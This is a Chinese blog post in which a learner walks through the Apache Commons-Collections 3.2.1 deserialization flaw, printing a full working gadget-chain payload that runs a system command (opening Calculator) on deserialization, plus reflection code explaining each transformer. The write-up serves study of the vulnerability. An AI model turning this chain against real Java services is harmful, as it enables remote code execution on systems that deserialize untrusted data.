Apache Commons-Collections-3.2.1 反序列化漏洞浅析

2018-6-12 小屿 Java

最近在学java,当然少不了去学习大名鼎鼎的java反序列化漏洞。

一通搜索然后阅读各种大牛的文章找到如下payload

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class Main3 {
	public static Object Reverse_Payload() throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) };
		Transformer transformerChain = new ChainedTransformer(transformers);

		Map innermap = new HashMap();
		innermap.put("value", "value");
		Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
		//通过反射获得AnnotationInvocationHandler类对象
		Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		//通过反射获得cls的构造函数
		Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
		//这里需要设置Accessible为true,否则序列化失败
		ctor.setAccessible(true);
		//通过newInstance()方法实例化对象
		Object instance = ctor.newInstance(Retention.class, outmap);
		return instance;
	}

	public static void main(String[] args) throws Exception {
		GeneratePayload(Reverse_Payload(),"obj");
		payloadTest("obj");
	}
	public static void GeneratePayload(Object instance, String file)
			throws Exception {
		//将构造好的payload序列化后写入文件中
		File f = new File(file);
		ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
		out.writeObject(instance);
		out.flush();
		out.close();
	}
	public static void payloadTest(String file) throws Exception {
		//读取写入的payload,并进行反序列化
		ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
		in.readObject();
		in.close();
	}
}

主函数首先通过GeneratePayload将Reverse_Payload()方法返回的Object进行序列化,然后通过payloadTest反序列化,在反序列化时候执行了open /Applications/Calculator.app命令打开了计算器。

进入Reverse_Payload方法,首先创建了一个Transformer类型的数组,进入org/apache/commons/collections/Transformer.java,发现是个接口传入Object返回Object

QQ20180612-155228@2x.png


接着看payload用到的ConstantTransformer、InvokerTransformer、ChainedTransformer类才发现transformer的重要性

ConstantTransformer、InvokerTransformer、ChainedTransformer都实现了transformer接口方法,最终实现的命令执行也是由于transformer导致

ConstantTransformer通过transformer调用Runtime类,InvokerTransformer通过transformer调用getRuntime、exec方法,ChainedTransformer则是存入实例化的ConstantTransformer、InvokerTransformer,并通过transformer实现执行存入的ConstantTransformer、InvokerTransformer它们各自的transformer。


ConstantTransformer的构造方法与transform方法如下:

QQ20180612-165925@2x.png

构造方法传入Object,transfrom返回Object。payload中的new ConstantTransformer(Runtime.class)则相当于 Object object = Runtime.class;


接着看InvokerTransformer,构造方法与transform方法如下:

QQ20180612-171318@2x.png

构造方法传入三个值(iMethodName = methodName; iParamTypes = paramTypes; iArgs = args;),tranform方法默认接受一个Object,而这个Object就是之前加载的Runtime,接着getClass()重新get到Runtime,然后是反射的getMethod方法getMethod(iMethodName, iParamTypes),所以iMethodName传方法名,iParamTypes传method方法的参数类型数组,iArgs则是用于方法的参数

为了理解InvokerTransformer类在paylaod中的作用将其所用方法取出写了一遍:

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test2 {

	public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//		1.new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
		String   iMethodName = "getMethod";
		Class[]  iParamTypes = new Class[]{String.class, Class[].class};
		Object[] iArgs       = new Object[]{"getRuntime", new Class[0]};

		Object inputObject = Runtime.class;
		Class  cls         = inputObject.getClass();
		Method method      = cls.getMethod(iMethodName, iParamTypes);

		Object outputObject = method.invoke(inputObject, iArgs);

//		2.new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
		String   iMethodName2 = "invoke";
		Class[]  iParamTypes2 = new Class[]{Object.class, Object[].class};
		Object[] iArgs2       = new Object[]{null, new Object[0]};

		Object inputObject2 = outputObject;
		Class  cls2         = inputObject2.getClass();
		Method method2      = cls2.getMethod(iMethodName2, iParamTypes2);

		Object outputObject2 = method2.invoke(inputObject2, iArgs2);

//		3.new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) };
		String   iMethodName3 = "exec";
		Class[]  iParamTypes3 = new Class[]{String.class};
		Object[] iArgs3       = new Object[]{"open /Applications/Calculator.app"};

		Object inputObject3 = outputObject2;
		Class  cls3         = inputObject3.getClass();
		Method method3      = cls3.getMethod(iMethodName3, iParamTypes3);

		Object outputObject3 = method3.invoke(inputObject3, iArgs3);
	}
}

值得注意的是这里getMethod传入的iMethodName也是getMethod,之所以不能直接传getRuntime是因为InvokerTransformer的tranform方法对传入的Object进行了getClass(),相当于Runtime.class.getClass(),Runtime.class获得的是class java.lang.Runtime,Runtime.class.getClass()则是class java.lang.Class

为了理解这里的getMethod("getMethod"),写了如下代码:

	public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
		Object object  = Runtime.class.getClass().getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
		Object object2 = object.getClass().getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(object, new Object[]{null, new Object[0]});

		for (Method i : object.getClass().getMethods()) {
			System.out.println(i);
		}

		System.out.println("~~~~~");

		for (Method i : object2.getClass().getMethods()) {
			System.out.println(i);
		}

		System.out.println("~~~~~");

		for (Method i : Runtime.class.getMethods()) {
			System.out.println(i);
		}

		System.out.println("~~~~~");

		System.out.println(Runtime.class.getMethod("getRuntime"));
		System.out.println(object2.getClass().getMethod("getRuntime"));
	}


接着看ChainedTransformer构造方法与transform方法如下:

QQ20180612-174318@2x.png

transform方法依次执行数组类各个对象的transform方法

调用ChainedTransformer的transform方法运行即可执行所设系统命令,代码如下:

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open ."})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(new Object());

开始觉得这么写写复杂了,直接传入Runtime.getRuntime()来避免getMethod("getMethod"),然而Runtime.getRuntime()是无法序列化的T,T

	public static void main(String[] args) {
		Transformer[] transformers = new Transformer[]{
				new ConstantTransformer(Runtime.getRuntime()),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app"})};
		Transformer transformerChain = new ChainedTransformer(transformers);
		transformerChain.transform(new Object());
	}


继续按照payload代码往下跟进

后面实际上要做的就是在反序列化时候触发transform方法实现命令执行,实际调用链是:

AnnotationInvocationHandler -> readObject() -> AbstractInputCheckedMapDecorator ->setValue() ->TransformedMap -> checkSetValue() -> transform()


具体情况懒得分析了

标签: 反序列化漏洞

发表评论:

Powered by xia0yu